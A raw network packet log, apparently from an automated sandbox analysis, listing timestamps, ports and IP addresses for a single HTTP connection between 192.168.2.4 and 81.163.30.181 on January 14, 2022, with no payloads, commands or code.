Jan 14, 2022 20:29:56.775088072 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.775110960 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775131941 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775132895 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.775156021 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775177002 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775196075 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.775197983 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775218964 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775229931 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.775242090 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775254965 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.775264978 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775286913 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775307894 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.775309086 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775330067 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775347948 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.775351048 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775372982 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775393963 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775394917 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.775414944 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775435925 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775437117 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.775456905 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775479078 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775495052 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.775501013 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775521040 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775530100 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.775542974 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775557041 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.775564909 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775585890 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775609016 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775609016 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.775630951 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775644064 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.775652885 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775675058 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775696039 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775712013 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.775718927 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775741100 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.775742054 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775764942 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775784016 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.775787115 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775808096 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775830030 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775830984 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.775873899 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.777951002 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.786144018 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.791183949 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.833710909 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.833770990 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.833791018 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.833810091 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.833887100 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.833930016 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.833936930 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.833971024 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.833972931 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.834011078 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.834050894 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.834074974 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.834089994 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.834127903 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.834167957 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.834172964 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.834207058 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.834211111 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.834249973 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.834290981 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.834296942 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.834330082 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.834368944 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.834408045 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.834408998 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.834445953 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.834448099 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.834485054 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.834523916 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.834558010 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.834563971 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.834604979 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.834641933 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.834645987 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.834681034 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.834681988 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.834719896 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.834757090 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.834796906 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.834798098 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.834835052 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.834876060 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.834877014 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.834914923 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.834916115 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.834956884 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.834996939 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.835036039 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.835041046 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.835069895 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.835072994 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.835113049 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.835153103 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.835153103 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.835191965 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.835232973 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.835232973 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.835272074 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.835311890 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.835314035 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.835350990 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.835387945 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.835426092 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.835427046 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.835467100 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.835506916 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.835508108 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.835546970 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.835546970 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.835585117 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.835624933 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.835625887 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.835664034 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.835700989 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.835705996 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.835740089 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.835779905 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.835819960 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.835820913 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.835859060 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.835896969 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.835900068 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.835935116 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.835936069 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.835977077 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.836014986 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.836020947 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.836054087 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.836093903 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.836133003 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.836136103 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.836174011 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.836211920 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.836215019 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.836251020 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.836251020 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.836289883 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.836327076 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.836328983 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.836365938 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.836405993 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.836410046 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.836445093 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.836484909 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.836522102 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.836545944 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.836560965 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.836571932 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.836600065 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.836637974 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.836642027 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.836677074 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.836715937 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.836755991 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.836757898 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.836796045 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.836833954 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.836838007 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.836872101 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.836910963 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.836913109 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.836954117 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.836958885 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.836998940 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.837038994 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.837039948 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.837075949 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.837115049 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.837116957 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.837153912 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.837194920 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.837234974 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.837236881 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.837271929 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.837311029 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.837311983 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.837349892 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.837388992 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.837390900 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.837428093 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.837428093 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.837466002 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.837506056 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.837507010 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.837544918 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.837583065 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.837588072 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.837620974 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.837660074 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.837663889 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.837697029 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.837734938 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.837774038 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.837774992 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.837814093 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.837860107 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.837873936 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.837913990 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.837915897 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.838746071 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.849181890 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.850990057 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.854573965 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.896225929 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.896286011 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.896327972 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.896367073 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.896406889 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.896421909 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.896439075 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.896446943 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.896486044 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.896488905 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.896523952 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.896564960 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.896567106 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.896604061 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.896645069 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.896646023 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.896682024 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.896722078 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.896723032 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.896780014 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.896816969 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.896857023 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.896857977 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.896895885 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.896940947 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.896945000 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.896985054 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.896985054 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.897023916 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.897063017 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.897064924 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.897103071 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.897141933 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.897144079 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.897185087 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.897226095 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.897264957 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.897268057 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.897304058 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.897344112 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.897345066 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.897382021 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.897422075 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.897420883 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.897460938 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.897464037 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.897502899 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.897546053 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.897547960 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.897583008 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.897624016 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.897624969 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.897664070 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.897701025 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.897742033 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.897742033 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.897780895 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.897820950 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.897821903 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.897861004 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.897891045 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.897933006 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.897974014 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.897977114 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.898013115 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.898052931 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.898055077 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.898092985 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.898133993 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.898134947 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.898171902 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.898211956 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.898251057 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.898252010 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.898289919 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.898329973 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.898333073 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.898369074 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.898410082 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.898412943 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.898451090 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.898488998 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.898492098 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.898528099 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.898530006 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.898567915 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.898606062 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.898610115 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.898644924 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.898684978 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.898725033 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.898725986 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.898765087 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.898802996 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.898806095 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.898843050 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.898880959 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.898884058 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.898919106 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.898920059 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.898957014 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.898998022 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.899036884 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.899038076 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.899076939 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.899115086 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.899117947 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.899152040 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.899152994 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.899193048 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.899229050 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.899231911 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.899269104 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.899307013 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.899308920 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.899346113 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.899385929 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.899421930 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.899424076 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.899461985 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.899499893 CET	80	49882	81.163.30.181	192.168.2.4
